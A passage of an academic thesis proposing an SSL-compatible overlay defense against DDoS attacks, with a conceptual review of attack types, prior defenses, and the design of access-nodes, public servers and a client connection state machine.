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Abstract

Today, life cannot be imagined without many Internet-based services. One major threat to 

such services  is  Distributed Denial  of  Service (DDoS) attacks.  This  research is  one step 

towards an Internet that is free of DDoS attacks threats. Despite of the plethora of research on 

the topic, yet, DDoS attacks still remains as one of the largest concerns for Internet based 

services.  Several  web services offered by banks, hospitals, etc, require a secure connection 

over  the  internet.  Protecting  the  integrity  and  confidentiality  of  data  in  transit  is  of  the 

objectives of a secure connection. Secure Socket Layer (SSL) meets such objectives. A DDoS 

protection  system  to  be  adoptable  by  such  services  must  be  able  to  offer  the  required 

protection  practically  with  the  stress  on  SSL compatibility.  This  thesis  stems  from  the 

observation that there has been  no practical DDoS defense mechanism, so far, that could 

guarantee an end-to-end encrypted connection between the clients and the protected servers.

 In this thesis, a defense mechanism, based on the overlay protection approach, that is 

capable of blocking malicious traffic far from the protected servers, is designed, implemented 

and tested.  Protected  servers  are  hidden inside  a  secure  overlay network only accessible 

through a  set  of  access-nodes  (AN) with  rate  limiting  and access  control  functionalities. 

Protected  servers  are  required  to  provide  at  least  one  dummy public  server  as  an  initial  

connection step point. An experimental prototype is implemented and tested on a small scale 

testbed. The prototype has been thoroughly put into tests. Experiments performed are based 

on the two broad categories of flooding attacks; application level and lower level attacks. 

Results show; System compatibility with SSL. Also, the AN impact on the protected server 

performance is less than 4% increase in server response time. In addition, the public server, in 

conjunction  with  the  AN,  could  survive  attack  rates  more  than  60  times  higher  than  an 

ordinary web server  could  handle  without  performance degradation,  as  service  quality is 

guarded by the AN. For larger  attack rates,  the public  server  can be replicated easily or 

offered as a service by an ISP due its simple function. Through discussion, several issues 

related to the proposed system are demonstrated and discussed. To the best of our knowledge, 

it is the first practical DDoS protection scheme fully compatible with SSL.  
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CHAPTER 1

INTRODUCTION

1.1 Background
1.1.1 The Internet

The Internet has originated as a research network. It was created to provide researchers 

with an open network for sharing their research resources. Therefore, openness and growth of 

the network were the design priorities while security issues less of a concern [1]. 

Today, the Internet is no longer just a tool for the researchers. It has become the main 

infrastructure  of  the  global  information  society.  Governments  use  the  Internet  to  provide 

information to the citizens and the world at large, and they will increasingly use the Internet 

to  provide  government  services.  Companies  share  and  exchange  information  with  their 

divisions,  suppliers,  partners  and  customers  efficiently  and  seamlessly.  Research  and 

educational institutes depend more on the Internet as a platform for collaboration and as a 

medium for disseminating their research discoveries rapidly [1].

Unfortunately,  with  the  growth  of  the  Internet,  the  attacks  to  the  Internet  have  also 

increased incredibly fast  [2]. More and more sophisticated attacks are being crafted, while 

level of knowledge required to carry on such attacks is decreasing, see figure 1.1,  [1]. In 

addition, traditional operations in essential services, such as banking, transportation, power, 

medicine, and defense are being progressively replaced by cheaper, more efficient Internet-

based applications. Historically, an attack to a nation's critical services involves actions that 

need to  cross  a  physical  boundary.  These  actions  can  be  intercepted and prevented by a 

nation's security services. However, the global connectivity of the Internet renders physical 

boundaries  meaningless.  Internet  based  attacks,  from  a  simple  password  guessing  to  a 

sophisticated distributed denial-of-service (DDoS) attack, can be launched anywhere in the 

world.  Therefore,  the  reliability  and  security  of  the  Internet  not  only  benefits  on-line 

businesses, but is also an issue for human safety.
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1.1.2 Distributed Denial of Service (DDoS) Attacks
DDoS is one of the largest threats facing Internet-based services today. An example on the 

concept of DDoS, consider what will happen if 1000 people were hired so that each one 

sends 2 envelopes per day to some victim's mail box, with a false sender address, as a result,  

the victim will be overwhelmed by the 2000 envelopes per day which require receiving and 

checking for  which  are  important.  In  the  previous  example,  although the  concept  makes 

sense, however the attack seems expensive and unlikely to be performed. Yet the case is not 

the same with its Internet-based version. Over the internet, attackers recruit their army by 

infecting and then controlling vulnerable Internet  connected hosts,  and messages sent are 

network packets that cost nothing for the original attacker. Generally, a DDoS attack is an 

attempt to make an internet-based service unavailable to its intended users by overwhelming 

the  victim server  with  messages.  Extortion  or  revenge  motivations  are  often  the  motive 

behind DDoS attacks.

A DDoS attack may not just mean missing out on the latest sports scores or weather news 

on the Internet. It may mean losing a bid on an item you want to buy or losing your customers 

for a day or two while you are under attack.  On February 7, 2000 and during two days, 

Yahoo, Buy.com, eBay, CNN.com, Amazon.com, ZDnet, E*Trade, Excite, and several other 

web sites fell victims to DDoS attacks resulting in substantial damage of millions of dollars 

[3]. It may mean even worse, as it did for the port of Houston, Texas, that the Web server 

providing the weather and scheduling information is unavailable and no ships can dock  [4]

[5]. DDoS attacks have been also targeting network infrastructure rather than individual web 

servers alone [6].

2
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As  the  internet  becomes  more  and  more  popular  space  for  business  every  day, 

organizations, big and small, has become very much more concerned about DDoS threats. 

According to the study in [7] including 400 IT decision-makers from companies that operate 

a significant online business or enjoy and important online reputation, 74% reported that their 

organizations had been targeted by one or more DDoS attacks in the year 2008 alone. Of 

these, 31% resulted in service disruption. Of the surveyed organizations, 87% will maintain 

or increase their current budget for DDoS protection in the foreseeable future. 

1.2 Research Objective and Scope
Internet-based services, such as offered by banks, hospitals, shops, etc., often demand an 

encrypted connection for communication over the Internet.  Such services cannot opt to a 

DDoS defense  mechanism that  is  not  designed with  such encryption  in  mind.  The main 

objectives  of  this  research  are to  develop a practical,  secure  and scalable  DDoS defense 

mechanism. The term "secure" here refers to the communication link between the protected 

server  and  its  clients.  Other  possible  methods  for  denying  service,  such  as  physical 

destruction or hacking into the victim server, is out of the scope of this research.

For high deployment plausibility, the overlay protection approach is adopted in the design 

of  this  system.  For  a  DDoS defense mechanism,  to  be adopted  by the above mentioned 

services,  it  should  be  compatible  with  application  level  protocols  necessary  for  their 

operation  and  with  Hypertext  Transfer  Protocol  Secure  (HTTPS)  in  particular.  HTTPS 

connections are often used for payment transactions on the World Wide Web and for sensitive 

transactions in such as offered by banks or health care systems. It is a combination of the 

Hypertext Transfer Protocol with the Transport Layer Security (TLS) and/or Secure Sockets 

Layer (SSL) protocol to provide encryption and secure identification of the server. 

So, the main contributions of this research are: Identify the need for a secure, practical, 

and scalable DDoS defense mechanism. Design and implement a proof of concept prototype 

for the proposed mechanism. Develop two testing tools, (DDoS attack tools), for carrying out 

both lower level and application level attacks, for testing purposes, as well as a small scale 

testbed for system deployment. Evaluate the developed system components on the small scale 

testbed under a range of attack types.
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1.3 Overview of the Thesis
This thesis is composed of six chapters. Chapter 1 – Introduces the impact of the DDoS 

problem, and summarizes the objective and contributions of the thesis. Chapter 2 – Portrays a 

classification  for  attack  types  and a  review on related  defense  mechanisms.  Chapter  3  - 

Presents the proposed approach and its design specifications. Chapter 4 - Demonstrates the 

testbed, the implemented tools and prototype details, evaluation methods, and results. Several 

issues  with  the  design  and comparisons  are  discussed  in  Chapter  5.  Finally,  Chapter  6  - 

Concludes the work and suggests future directions. All the source codes for the implemented 

components are present in the Appendix. 
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CHAPTER 2

REVIEW OF LITERATURE

2.1 DDoS Attacks Classification
DDoS attacks can be classified according to the targeted victim's resources into four main 

categories;  protocol exploit attacks, flooding attacks,  amplification attacks, and  malformed 

packet attacks [8][9]. 

Protocol exploit attacks: Such attacks aim for consuming the victim's resources by 

exploiting  a  specific  protocol  or  application's  feature  or  implementation  bug.  A common 

example  of  protocol  exploit  attacks  is  TCP SYN  attacks.  In  the  TCP SYN  attack,  the 

exploited feature is the allocation of substantial space in a connection queue immediately 

upon receipt of a TCP SYN request. The attacker initiates multiple connections that are never 

completed, thus filling up the connection queue. 

Another TCP based attack is the NAPTHA attack. It initiates and establishes numerous 

TCP connections that consume the connection queue at the victim. NAPTHA bypasses the 

TCP protocol stack on the agent machine, not keeping the state for connections it originates. 

Thus even a poorly provisioned agent machine can easily deplete the resources of better 

provisioned victim.

Application level attacks can also be considered as vulnerability exploit attacks, examples 

are;  HTTP  GET  request  attack  where  several  requests  attempt  to  exhaust  the  server's 

resources. CGI request attack, where the attacker consumes the CPU time of the victim by 

issuing multiple CGI requests. 

Flooding attacks: Attackers try to congest the victim systems bandwidth by sending 

large volumes of traffic to it. Such action's effect on the victim  system varies from slowing it 

down or crashing the system to saturation of the network bandwidth. Some of the well-known 

flood attacks are UDP flood attacks and ICMP flood attacks. 

A  UDP Flood attack occurs when a large number of UDP packets is  sent to  a victim 

system. This has as a result  the saturation of  the network and the depletion of  available 
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bandwidth for legitimate service requests to the victim system. In a DDoS UDP Flood attack,  

the UDP packets are sent to either random or specified ports on the victim system. 

An ICMP Flood attack exploits the Internet Control Message Protocol (ICMP). During a 

DDoS ICMP flood attack, the agents send large volumes of ICMP echo request packets (ping) 

to  the  victim.  These  packets  request  reply  from the  victim,  thus  resulting  in  bandwidth 

exhaustion for the victim link. Source IP spoofing is used with ICMP flooding to hide the 

attacking machines true identity and to hinder victim defense.

Notice the thin line between attack categories. For example, a TCP SYN flood  attack is an 

vulnerability exploit attack, but can fall under the flooding attack category if the protocol 

vulnerability was fixed.

Amplification attacks: Attackers  amplify and reflect  the  attack  with  intermediary 

nodes that are used as attack launchers (called reflectors). A reflector is any IP host that will  

return a packet if sent a packet. Spoofing the source address is the key factor in executing 

such attacks.  So,  web servers,  DNS servers,  and routers  are  reflectors,  since  they return 

SYN/ACK or RST in response to SYN or other TCP packets. An attacker sends packets that 

require  responses  to  the  reflectors.  The  reflectors  return  response  packets  to  the  victim 

according to the types of the attack packets. The attack packets are essentially reflected in the 

normal packets towards the victim. The reflected packets can flood the victim's link if the 

number of reflectors is large enough. Note that the reflectors are readily identified as the 

source addresses in the flooding packets received by the victim. The operator of a reflector on 

the other hand, cannot easily locate the slave that is pumping the reflector, because the traffic 

sent to the reflector does not have the slaves source address, but rather the source address of 

the victim. Some well known amplification attacks, are Smurf and Fraggle attacks. 

In Smurf attacks, the attacker sends a large amount of ICMP echo request (ping) traffic to 

IP broadcast addresses, but all of which have a spoofed source IP address of the intended 

victim. If the routing device delivering traffic to those broadcast addresses delivers the IP 

broadcast to all hosts, vulnerable hosts on that IP network will take the ICMP echo request 

and reply to it with an echo reply, multiplying the traffic by the number of hosts responding. 

Such vulnerable network is called amplifiers. Protecting against such attacks can be done by 

configuring individual hosts and routers not to respond to ping requests or broadcasts and 

also  configuring  routers  not  to  forward  packets  directed  to  broadcast  addresses.  Fraggle 
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attacks are a variation of the Smurf attacks, where the attacker uses UDP packets instead of 

ICMP.  In  this  type  of  attacks  not  only  the  victim  is  affected  but  also  he  intermediate 

amplifiers/reflectors. 

Malformed packet attacks:  Relies on incorrectly constructed IP packets that are 

sent from agents to the victim in order to crash the victim system. The malformed packet 

attacks can be divided in two types of attacks: IP address attack and IP packet options attack. 

In an IP address attack, the packet contains the same source and destination IP addresses. This 

has as a result the confusion of the operating system of the victim system and the crash of the 

victim  system.  In  an  IP packet  options  attack,  a  malformed  packet  may  randomize  the 

optional fields within an IP packet and set all quality of service bits to one. This would have 

as a result the use of additional processing time by the victim in order to analyze the traffic. If 

this attack is combined with the use of multiple agents, it could lead to the crash of the victim 

system.

2.2 Existing Related Defense Proposals
Denial of service protection functionalities can take place either; near to the source, near 

the victim, or in the internet core. However, the first option requires cooperation from the 

source ISP. Despite that detection in best suited at the victim side, yet protection requires 

higher resources at  the victim than the source can  have, which is not the case in DDoS 

attacks where the attacker can recruit thousands of machines to perform the attack. On the 

other hand, protection in the middle of the internet, or far from the server, gains from the 

abundant bandwidth at the network core and frees the server link from undesired traffic.  

Several related defense frameworks that take protecting the network link to the server into 

consideration are reviewed here. Protecting the network link implies either filtering undesired 

traffic  away from the  server  premises  or  hiding  the  protected  server  behind a  protective 

special network.

2.2.1 Infrastructure Based Protection
Several previously proposed schemes for protecting the server far from its network bottle-

neck  by  considering  modifying  or  installing  additional  equipment  at  the  internet 

infrastructure or service providers.

Pushback: Shenker  et  al  proposed  mechanisms  for  detecting  and  controlling  high 

bandwidth aggregates deep inside the network [10]. The author's design involves both a local 
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mechanism for detecting and controlling an aggregate at a single router, and a co-operative 

pushback mechanism in which a router can ask upstream routers to control an aggregate, see 

figure 2.1 [10]. According to the demonstrated simulation results in their published work, 

these  mechanisms could provide some needed relief from flash crowds and flooding-style 

DoS attacks.

However,  pushback can  be  able  to  successfully push undesired  traffic  deeper  into  the 

network only if contiguous deployment pattern in routers is satisfied, where rate limit cannot 

be  pushed  past  a  non  pushback-enabled  router.  It  also  requires  providers  to  allow  the 

installment of filters on their own routers, which not only creates the possibility of abuse but 

also assumes a doubtful degree of collaboration. Besides, routers have to maintain traffic flow 

states, introducing additional load on them. In addition, determining the undesired malicious 

traffic is a difficult task especially in the case of a SYN flood. 

Flow cookies: Casado et al. proposed a protection mechanism called Flow-cookies [11]. 

A third  party  with  high  access  to  bandwidth  protects  a  web  server  against  bandwidth 

exhaustion from illegitimate traffic. With this mechanism, all traffic to and from a web site is  

routed via a third party managed middlebox (cookie-box), see figure 2.2 [11]. The cookie-box 

determine if a TCP packet sent to the web-server belongs to a legitimate flow, and, (2) filter  

traffic  from  IPs  blacklisted  by  the  protected  server.  The  authors  show  that  this  dual 

functionality  can  be  realized  in  a  completely  stateless  fashion  using  “Flow Cookies”.  A 

simple  extension  to  SYN cookies  [12],  wherein  the  cookie-box  places  a  secure,  limited 

lifetime cookie within the TCP timestamp of every outgoing data packet from the protected 

server. 
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Flow-cookies offers strong protection against flooding assuming abundant resources at the 

service provider. It does not require modification to clients or to the network, and is resistant 

to source spoofing. However this approach conflicts with the extension of SYN cookies  that 

stores TCP options in the timestamp field [13]. Also, the issue of SSL compatibility was not 

considered,  thus arising data integrity and confidentiality concerns,  where the cookie-box 

must  open the application message to decide which protected server to  pass the flow to. 

Although Transport Layer Security (TLS) [14] with Server Name Indication (SNI) [15] can 

solve this problem, yet, it is not practical to assume that all the connecting clients will be 

implementing TLS.

DefCOM: Oikonomou et al. proposed in [16] a collaborative scheme, which organizing 

existing defenses into a collaborative overlay, called DefCOM, and augmenting them with 

communication  and collaboration functionalities.  Three critical  defense  functionalities  are 

combined; attack detection (victim side), traffic distinction (source side), and rate limiting 

(network core). Routers that join DefCOM have to obey rate limit requests (network core). 

DefCOM Nodes collaborate during the attack to spread alerts and protect legitimate traffic, 

while rate limiting the attack. 

DefCOM can accommodate existing defenses, provide synergistic response to attacks and 

naturally lead to an Internet-wide response to DDoS threat. However, assuming network core 

and  source-side  cooperation  begets  implementation  issues,  due  to  the  lack  of  economic 

incentive for those parties. 

2.2.2 Overlay Protection
Several proposals consider stopping the attack far from the server by adopting overlay 

protection method to hide the protected servers from DDoS floods [17][18]. The advantage of 
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overlay protection to infrastructure protection is that no modifications to the infrastructure is 

needed or assumed and therefore is more deployable.

Burrows: Khor et al. Proposed in  [17] a protection architecture (called Burrows) that 

adopts the overlay protection approach. As shown in figure 2.3 [17], servers are shielded 

from direct access and are  called Burrows servers. A peer-to-peer model is employed, where 

each server that requires protection must donate at least one gateway (Burrows gateway), thus 

no  assistance  from  infrastructure  providers  was  assumed  for  building  Burrows.  All 

communications between clients and Burrows servers are controlled by Burrows gateways. 

Clients are distributed over burrows gateways according to their geographical location by the 

means of a proximity based service, where the DNS is responsible of this distribution.

However, within that scheme, several issues that stands in the way of its wide adoption, 

namely; Burrows gateways must open the application messages, thus making it incompatible 

with services that require an encrypted connection, such as e-banking, especially due to the 

belonging of the Burrows gateways to peer servers. Also the DNS cannot distinguish between 

several clients per single network, therefore client blockage is based on the source IP address 

alone, yet another method is required that can distinguish between several clients per network 

to  minimize  possible  collateral  damage.  Burrows  is  evaluated  via  an  effectiveness  and 

performance analysis alone.

Secure Overlay Service: Keromytis  et  al.  proposed  an  architecture  called  secure 

overlay service (SOS) [18] to secure the communication between the confirmed users and the 

victim. As shown in Figure 2.4 [18], all the traffic from a source point is verified by a secure 

overlay access point (SOAP). Authenticated traffic is then routed to a special overlay node 
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called a  beacon. The beacon then forwards traffic to another special overlay node called a 

secret servlet for further authentication, and the secret servlet forwards verified traffic to the 

victim. The identity of the secret servelt is revealed to the beacon via a secure protocol, and 

remains a unknown to the attacker. Finally, only traffic forwarded by the secret servlet chosen 

by the victim can pass its  filtered region. There are  two design rationales of SOS. First, 

SOAPs  are  essentially  acting  as  a  distributed  firewall.  With  a  large  number  of  SOAPs 

working in distributed manner, each SOAP only needs to deal with a small proportion of the 

attack traffic. Secondly, the final node that connects to the victim is unknown to attackers. 

Therefore, attackers cannot find any vulnerable link of the victim. 

The  authors  demonstrate  analytically  that  SOS can  greatly  reduce  the  likelihood  of  a 

successful  attack.  However  a  practical  implementation  is  also  required  for  concept 

verification. Also it is assumed that communication is between a predetermined location and 

users, located anywhere in the wide-area network, who have authorization  to communicate 

with that location, which is not the case with business to consumer web servers. Moreover, 

the system compatibility with SSL is not covered, thus rendering it not suitable for services 

such as e-banking. 

2.2.3 Server Side Protection
Several protection schemes can be used at the server side, such as SYN cookies. However,  

an attacker can easily exceed the server resources and still be able to overwhelm the server 

resources. Only SYN cookies is presented in this section due to it's role in the architecture 
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proposed in this thesis.

SYN cookies:  SYN-cookies  [12][13] are designed to prevent TCP SYN floods from 

exhausting  server  connection  state  with  half-open connections  (i.e.,  overload the  server's 

SYN queue). They operate by using a cryptographically secure cookie in place of the ISN in 

the SYN/ACK packet from the server. If the subsequent ACK from the client contains a valid 

cookie,  then  connection  state  is  allocated  at  the  server.  Flow-cookies  generalizes  SYN-

cookies by requiring all client packets (except the initial SYN) to contain a valid cookie. 

Even if a server utilizing SYN cookies was able to respond to all incoming TCP SYN 

requests, the amount of undesired traffic going on the link of the server will compete with 

traffic of legitimate users, therefore affecting service quality. So, even if the SYN flood or the 

TCP connection flood had no impact on the real servers’ memory or processing, it will still  

affect the percentage of “unharmed bandwidth” for service of legitimate clients, and thus 

service quality. So, SYN cookies alone is not enough to protect the server from the attacks 

but can be used in an integrated defense architecture.

2.2.4 Commercial Solutions
Content delivery networks (CDN), such as Akamai  [19], can increase availability,  thus 

reduce the effectiveness of DDoS attacks. Akamai’s distributed servers act as a buffer and 

trusted entity to the customer configuration, where only traffic passing through an Akamai 

distributed servers will  be able to connect to the customer infrastructure.  However,  CDN 

can’t offer end-to-end encryption. Although SSL can be used with such services [20], yet the 

protected subscribing servers are required to hand their certificate to the CDN to be installed 

in the cloud. Doing so, the secure connection between the client and the origin server is split 

into two SSL connections, which leaves the door not shut in face of security threats.

VeriSign internet  defense  network  [21],  promises  full  protection  far  from the  servers’ 

location. Traffic aimed at the Internet-based service is monitored by a Verisign monitoring 

facility. When an event is detected, VeriSign works with the customer to divert  traffic to a 

VeriSign Internet Defense Network site. Diversion takes place in one of two forms; via BGP 

announcements  or  customer  DNS  records  modification,  depending  on  the  size  of  the 

customer network size. However, requirements on the IP address space are too high for small 

size organizations to benefit from BGP based diversion. Moreover, using source IP address 

alone to identify clients raises the concern of a possible collateral damage. 
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2.3 Summary
With  the  intention  of  disrupting  web  services,  several  DDoS  attack  methods  can  be 

utilized. Four main categories of attacks can be classified according to the targeted victim 

resources. The amount of traffic required to disrupt the service depends on the type of attack 

used.  Several  methods for protection have been proposed in academia and commercially. 

However a defense mechanism that can protect the servers far from their location without 

introducing security or implementation concerns is required.
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CHAPTER 3

SYSTEM DESIGN FOR SECURELY HIDING WEB SERVERS

3.1 System Design objectives
The main objectives constituting the foundation for the system design are; (i)  protection 

efficiency for the servers’ resources (i.e. memory, CPU, bandwidth, etc.) from DDoS attacks, 

(ii)  practicality of  design  assumptions;  regarding  system  specifications  and  deployment 

plausibility considerations (i.e. compatibility with legacy network equipment and protocols 

implemented at both sides), (iii) system transparency to both clients and servers, enabling fast 

switch OFF for the defense in case of no attack without complications, and, (iv) guarantee 

integrity and confidentiality for data passing through the protection system. 

To satisfy the first goal, an efficient protection method must be able to react to the detected 

undesired traffic far from the server’s edge network. However, to practically stop that traffic 

far from the server, it is wise to avoid assuming any modifications (regardless of its necessity) 

to the internet infrastructure. Therefore, the use of a secure overlay network as the protection 

approach is adopted. To guarantee system transparency, any assumed modifications at either 

the  client  side  or  the  protected  server  side  are  also  avoided.  The  later  goal  is  met  by 

maintaining system compatibility with SSL, providing end-to-end channel security. 

The approach of utilizing a secure overlay network protection to hide the servers’ location 

was already adopted by several related proposals as demonstrated in chapter 2. However, it is 

observed that no previous defense scheme could offer a fair* DDoS protection with complete 

compatibility with SSL while maintaining transparency to the users, or without requiring the 

protected server to hand in its security certificate, thus, adding a decrypt-encrypt point in the 

middle of the client-server connection. This middle point gives the ability to a third party to 

read/store or alter confidential data traffic passing through it, and therefore opens the door to 

security breaches. Hereafter, we describe our proposed defense approach that embraces these 
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design objectives.

3.2 System Design Overview
A web server being protected is not modified; instead, it is required to provide at least one 

additional  dummy public  server,  while  the  protected  server  is  hidden from direct  access, 

inside a  secure overlay network.  These protected servers  remain unreachable to  any user 

except through a set  of access-nodes.  The role of an access-node is  to basically hide the 

servers  residing  in  the  overlay network;  from the  client’s  point  of  view,  the access-node 

appears to be the actual web server serving the content. In the background, the access-node 

transfers  the  client  messages  to  the  protected  server  and  vice  versa.  The  public  server 

implements  a  special  light  weight protocol  that  handles  the  initial  request  from a  client, 

selects one of the suitable access-node’s, and then redirects the client to that access-node for 

service. The public server does not store any content, so it it can be offered as a service by 

ISP.

The  access-nodes  are  geographically  distributed,  implementing  a  special  protocol  that 

guarantees  transparency  to  both,  the  client  and  the  protected  server.  In  chapter  4  the 

implementation, testing and evaluation to these protocols are demonstrated. The choice of the 

most suitable access-node to a client is done by the public server based on the access-node's 

health "status metric". The access-node status metric is based on parameters such as; access-

node proximity, utilization, current client reputation. Metrics are updated periodically or if an 
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the protected server’s location, where service is through the Access-Nodes.



abnormal event happens such as a sudden attack on one of the access-nodes. 

Throughout this thesis, the term “client” is used referring to a user-server communication 

session,  regardless  of  the  corresponding  number  of  TCP connections  associated  with  it. 

Usually one client establishes multiple TCP connections to a certain web server for improved 

HTTP performance.  This  group  of  connections  is  referred  to  as  a  client  (in  some  parts 

referred to as a client-server pair or session).

3.2.1 Design choices
Access-node  function: The  access-node's  function  is  basically  hiding  the  protected 

servers. The hiding mechanism can be by implemented by either of two ways; First possible 

way is to have the access-node function as a network address and port translator (NAPT), 

Second  option  is  to  have  the  access-node separate  the  public  side  from the  private  side 

TCP/IP connection, thus buffer the public side from the private side completely on that level 

and transparently pass the application message from either side to the other. The first option 

allows the access-node to manage no TCP connection on either side, thus, only the translation 

table between the two sides. However, this method will also allow clients to possibly perform 

TCP based attacks on the protected servers. On the other hand, considering the second option, 

the access-node can provide more protection options such as; multiplexing of connections to 

the protected server,  or,  terminating idle long lived TCP connections on the private side, 

while keeping them alive on the public side if desired by clients, etc. So, the second option 

was chosen during the design of the system components. Also having the access-node as a 

terminator for the TCP/IP protocols enables it to remove the burden of handling these from 

the  protected  servers,  thus  reducing  the  protected  server's  load,  and also  simplifying  the 

access-node's implementation.

Selection of an access-node: Access-node selection can be performed by either of the 

protected or the public server. Selection by the protected server has the advantage of keeping 

the access-nodes' information only inside the VPN. However, such choice will introduce, not 

only, added connection overhead in the initial connection stages, but also, will involve the 

protected server in the initial connection negotiation process, described later, thus adding an 

unnecessary load to the protected server. Selection for the suitable access-node by the public 

server was chosen for the design then to minimize the connection overhead and eliminate the 

selection work load from the protected server.  In  addition to that,  the access-node status 

information does not represent any actual threat to the system, if, for example, were leaked 
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from a public server.  Connection steps are accordingly determined in subsection 3.3.

Ports range: The port numbers are divided by the Internet Assigned Numbers Authority 

(IANA) into three ranges; the well known ports, the registered ports, and the dynamic and/or 

private ports [22]. The dynamic and/or private ports as recommended by IANA were chosen 

to  form the  access-nodes'  ephemeral  ports  range.  Those  port  numbers  range from 49152 

through 65535 (total of 16384 ports). 

3.3 Client connection process
Figure 3.2 shows a simplified scenario, without loss of generality, with two clients C1 and 

C2. With respect to source IP, any request originating from C1 or C2 appears to have the same 

source IP address IPc. Clients C1 and C2 may represent two separate users running on two 

separate hosts while sharing the same network. Otherwise C1 and C2 may represent a single 

user  with two separately opened sessions.  In either  case,  each client  needs  to generate  a 

request,  originating  from the  same  source  IP address.  Assume that  the  two  requests  are 

destined to two different web servers, server X (and server Y), at the same time. 

3.3.1 Defense switched ON
If  the defense is switched ON; Stage 1: clients C1 and C2 ask the DNS about the IP 
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Figure 3.2: Client connection procedure: an example of two clients sharing the same IP,  
addressing two protected web servers, through the same access-node.



address of server X (and server Y), respectively, not aware of the defense implementation. 

The  DNS  return  the  public  IP address  IPXp and  IPYp,  for  the  public  servers  Xp and  Yp, 

respectively. Stage 2: After establishing TCP connection, clients C1 and C2 ask servers Xp and 

Yp, respectively, for some resource. Stage 3: both Xp and Yp happened to select the access-

node AN2 at the same time not aware of each other's choice, and then inform AN2 about IPc 

and  IPs,  of  Xs and  Ys,  respectively.  This  coincidence  of  selecting  the  same  AN  is  to 

demonstrate the AN ability of differentiating between client-server pairs. Stage 4: AN2 replies 

to Xp and Yp with two distinctive port numbers to be able to differentiate between the two 

clients’ connections originating at  the same time from the same IP address (IP c),  without 

having to open the application messages. Stage 5: Xp and Yp relay, back to the clients, the 

address for the selected access-node plus the corresponding port for that connection(s) (i.e. 

client) in a standard HTTP redirection message. The TCP connection to the client is then 

closed by the public server. Stage 7: Every client is expected to establish a TCP connection to 

AN2 using the ephemerally assigned destination port. After the TCP connection is established, 

the clients now ask their requested resources from the new location, while the assigned port 

can  be  reassigned by the  AN to  be  reused with another  client-server  pair.  Stage  8:  AN 2 

connects to the corresponding servers and communication is carried on. The sequence is the 

same for the connection stages for every newly appearing client.

3.3.2 Defense switched OFF
If defense is OFF; the public server will then perform the role of the access-node (i.e. relay 

client-server messages). Otherwise, it is possible for the protected server to have a spare IP 

address to be used in case of no attacks. This way, the protected server’s IP address is kept 

hidden even while the defense is not activated. The activation/deactivation decision is taken 

on  demand  by  the  protected  server,  to  avoid  the  additional  overhead  evaluated  in  the 

following chapters.

3.4 Requirements and specifications
The system is composed basically of; 1) protected servers, 2) access-nodes, and, 3) public 

servers. Each component of them has its responsibilities and special functionalities to provide 

the necessary protection.

The protected servers can be any web server with no special specifications. However some 

requirements are to be met for them to comply with the system design. Since the target server 
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is the best location for application level attack detection [16], therefore, the protected servers 

must  use  an  on-premises  intrusion  detection  system.  When  malicious  application  level 

behavior patterns are detected, the protected server should alert the access-nodes to deal with 

the related TCP connections immediately. Such alert information can be encoded as a cookie 

in the TCP header itself. In addition, the protected server(s) must have the necessary security 

systems installed since the proposed DDoS defense scheme does not protect against other 

security threats such as hack attempts for example. Also, in case of an HTTPS web server, 

wildcard SSL certificates must be used if SSL is to be used; this is to comply with the access-

node’s specifications. 

As for the access-nodes, application messages (above TCP level) must not be opened and 

should be transferred directly to their  final  destination.  Data received from the client  are 

forwarded to the destination protected server and forwards data received from the server back 

to the client. 

Every client should be assigned an ephemeral port in random “portRand” by the access-

node. Every assigned port must be accessible only by the corresponding client(s) source IP 

address(es). Internal connections should not be kept alive if there is no actual communication 

profile going on a certain client-server session, if communication re-occur from the client 

side, then connections to the protected server may be re-opened again. Access-nodes should 

not respond to any client that is not redirected from a trusted public server, and therefore has 

no  permissions  granted  the  access-node.  The  access-node  should  listen  to  port  “portN”, 

waiting for new information from a trusted public serves about a new client-server session. 

Access node’s DNS record should have CNAME entries equal to the number of protected 

websites’ domain names. The entry format should have the access-node ID as a sub-domain 

for each protected website domain name, i.e., “ANnumber.domainP.com”, this is to guarantee 

compatibility  with  SSL,  where  wildcard  certificates  must  be  used  by the  protected  web 

servers.  Access-node  health  information  must  be  sent  to  the  trusted  public  servers 

periodically, or on the event of an abnormal event (i.e., access-node under sudden attack).

Public servers must accept the first TCP connections from clients. Initial request from a 

client should be replied by a redirection message pointing to the selected access-node and 

ephemeral port as the new location for the resource. The most suitable access-node should be 

selected  by  the  public  server  according  to  its  available  access-nodes’  information. 
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Communication  with  the  selected  access-node  must  be  performed  for  the  client  to  be 

registered  in  the  white  list  there.  Clients’  requested  resource  should  be

replied  with  an  HTTP  redirection  message  to  the  address; 

“https://AN###.domainP.com:portRand/RequestedResource/”.  Response  should  be  only  to 

TCP traffic, other traffic types must be filtered out utilizing ISP-based protection, many ISPs 

offer this type of protection as a service  [7]. ISP protection should filter out any non-TCP 

traffic  from  reaching  the  public  server.  SYN  cookies  MUST  be  implemented  as  a 

countermeasure to TCP SYN flooding attacks at the public server. It is recommend having 

more than one public server with different service providers. DNS should be offloaded to a 

third-party  service  [23] that  offers  round  robin  load  balancing  with  active  failover 

functionality. The HTTP response status code 302 Found should be used to indicate that the 

new location is not permanent. Also special care should be lent to the Cache-Control header 

field of the redirection message to avoid its retention by caching mechanisms, (ex. Cache-

Control: max-age=0, no-store, no-cache).

3.4.1 System state diagram
For the access-node, the steps required to grant access to some client can be represented in 

a  finite  state  machine  with  4  states  listed  in  table  3.1.  In  each  state,  when  an  event  is 

triggered, certain action is taken. The event can be either a packet arrival (PS request, or 

client request), or an internally initiated system call (alert, PS connect, or timeout). The alert 

event can result from an internal alert, due to client misbehavior detected by the access-node 

or  a  received alert  from the protected server.  The action is  either  internal  (add client  or 

remove client), external (accept, disconnect, or send portRand), or nothing, indicated by –.

Figure 3.3 illustrates the state diagram itself. Each possible client connection starts in the 

LISTEN  state. The access-node leaves that state if a TCP connection is established from a 

trusted public server with a previously known IP address. The connection is accepted and the 

state becomes PS WAIT. In this state a timer is set (tm), if the public server fails to send a valid 

request before the timer goes off, a timeout system call is triggered disconnecting that public 

server and changing the state  back to  LISTEN.  Otherwise,  the event of the public server 

sending a valid request in time changes the access-node state to  CLIENT WAIT state after 

adding access permissions for that client and sending the generated random port to the public 

server. During this state, a timer is set, (tc), so that if the client fails to connect and send a high 

level message before the timer terminates, then a timeout system call triggered disconnecting 

20



that client and removing it's permissions. Otherwise, the event of a client request moves the 

machine  to  the  next  state,  ACCESS  GRANTED.  That  state  is  where  the  client  can 

communicate normally with the protected server as long as there is no alert system call is 

triggered,  due  to  client  misbehavior.  If  an  alert  is  triggered,  the  client  connection(s)  is 

disconnected, its permissions are removed, and the state changes to LISTEN.

